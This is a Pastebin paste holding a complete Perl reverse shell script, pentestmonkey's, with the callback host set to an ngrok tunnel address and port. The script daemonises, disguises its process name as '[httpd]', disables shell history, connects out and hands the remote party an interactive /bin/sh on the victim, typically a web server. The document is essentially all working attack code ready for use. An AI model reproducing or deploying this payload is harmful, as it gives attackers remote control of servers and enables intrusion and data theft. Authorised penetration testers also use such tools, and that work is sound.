Advertisement
Guest User

Untitled

a guest
Apr 21st, 2018
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.75 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. # perl-reverse-shell - A Reverse Shell implementation in PERL
  3. # Copyright (C) 2006 pentestmonkey@pentestmonkey.net
  4. #
  5. # This tool may be used for legal purposes only. Users take full responsibility
  6. # for any actions performed using this tool. The author accepts no liability
  7. # for damage caused by this tool. If these terms are not acceptable to you, then
  8. # do not use this tool.
  9. #
  10. # In all other respects the GPL version 2 applies:
  11. #
  12. # This program is free software; you can redistribute it and/or modify
  13. # it under the terms of the GNU General Public License version 2 as
  14. # published by the Free Software Foundation.
  15. #
  16. # This program is distributed in the hope that it will be useful,
  17. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  18. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  19. # GNU General Public License for more details.
  20. #
  21. # You should have received a copy of the GNU General Public License along
  22. # with this program; if not, write to the Free Software Foundation, Inc.,
  23. # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  24. #
  25. # This tool may be used for legal purposes only. Users take full responsibility
  26. # for any actions performed using this tool. If these terms are not acceptable to
  27. # you, then do not use this tool.
  28. #
  29. # You are encouraged to send comments, improvements or suggestions to
  30. # me at pentestmonkey@pentestmonkey.net
  31. #
  32. # Description
  33. # -----------
  34. # This script will make an outbound TCP connection to a hardcoded IP and port.
  35. # The recipient will be given a shell running as the current user (apache normally).
  36. #
  37.  
  38. use strict;
  39. use Socket;
  40. use FileHandle;
  41. use POSIX;
  42. my $VERSION = "1.0";
  43.  
  44. # Where to send the reverse shell. Change these.
  45. my $ip = '0.tcp.ngrok.io';
  46. my $port = 14685;
  47.  
  48. # Options
  49. my $daemon = 1;
  50. my $auth = 0; # 0 means authentication is disabled and any
  51. # source IP can access the reverse shell
  52. my $authorised_client_pattern = qr(^127\.0\.0\.1$);
  53.  
  54. # Declarations
  55. my $global_page = "";
  56. my $fake_process_name = "/usr/sbin/apache";
  57.  
  58. # Change the process name to be less conspicious
  59. $0 = "[httpd]";
  60.  
  61. # Authenticate based on source IP address if required
  62. if (defined($ENV{'REMOTE_ADDR'})) {
  63. cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
  64.  
  65. if ($auth) {
  66. unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
  67. cgiprint("ERROR: Your client isn't authorised to view this page");
  68. cgiexit();
  69. }
  70. }
  71. } elsif ($auth) {
  72. cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
  73. cgiexit(0);
  74. }
  75.  
  76. # Background and dissociate from parent process if required
  77. if ($daemon) {
  78. my $pid = fork();
  79. if ($pid) {
  80. cgiexit(0); # parent exits
  81. }
  82.  
  83. setsid();
  84. chdir('/');
  85. umask(0);
  86. }
  87.  
  88. # Make TCP connection for reverse shell
  89. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  90. if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
  91. cgiprint("Sent reverse shell to $ip:$port");
  92. cgiprintpage();
  93. } else {
  94. cgiprint("Couldn't open reverse shell to $ip:$port: $!");
  95. cgiexit();
  96. }
  97.  
  98. # Redirect STDIN, STDOUT and STDERR to the TCP connection
  99. open(STDIN, ">&SOCK");
  100. open(STDOUT,">&SOCK");
  101. open(STDERR,">&SOCK");
  102. $ENV{'HISTFILE'} = '/dev/null';
  103. system("w;uname -a;id;pwd");
  104. exec({"/bin/sh"} ($fake_process_name, "-i"));
  105.  
  106. # Wrapper around print
  107. sub cgiprint {
  108. my $line = shift;
  109. $line .= "<p>\n";
  110. $global_page .= $line;
  111. }
  112.  
  113. # Wrapper around exit
  114. sub cgiexit {
  115. cgiprintpage();
  116. exit 0; # 0 to ensure we don't give a 500 response.
  117. }
  118.  
  119. # Form HTTP response using all the messages gathered by cgiprint so far
  120. sub cgiprintpage {
  121. print "Content-Length: " . length($global_page) . "\r
  122. Connection: close\r
  123. Content-Type: text\/html\r\n\r\n" . $global_page;
  124. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement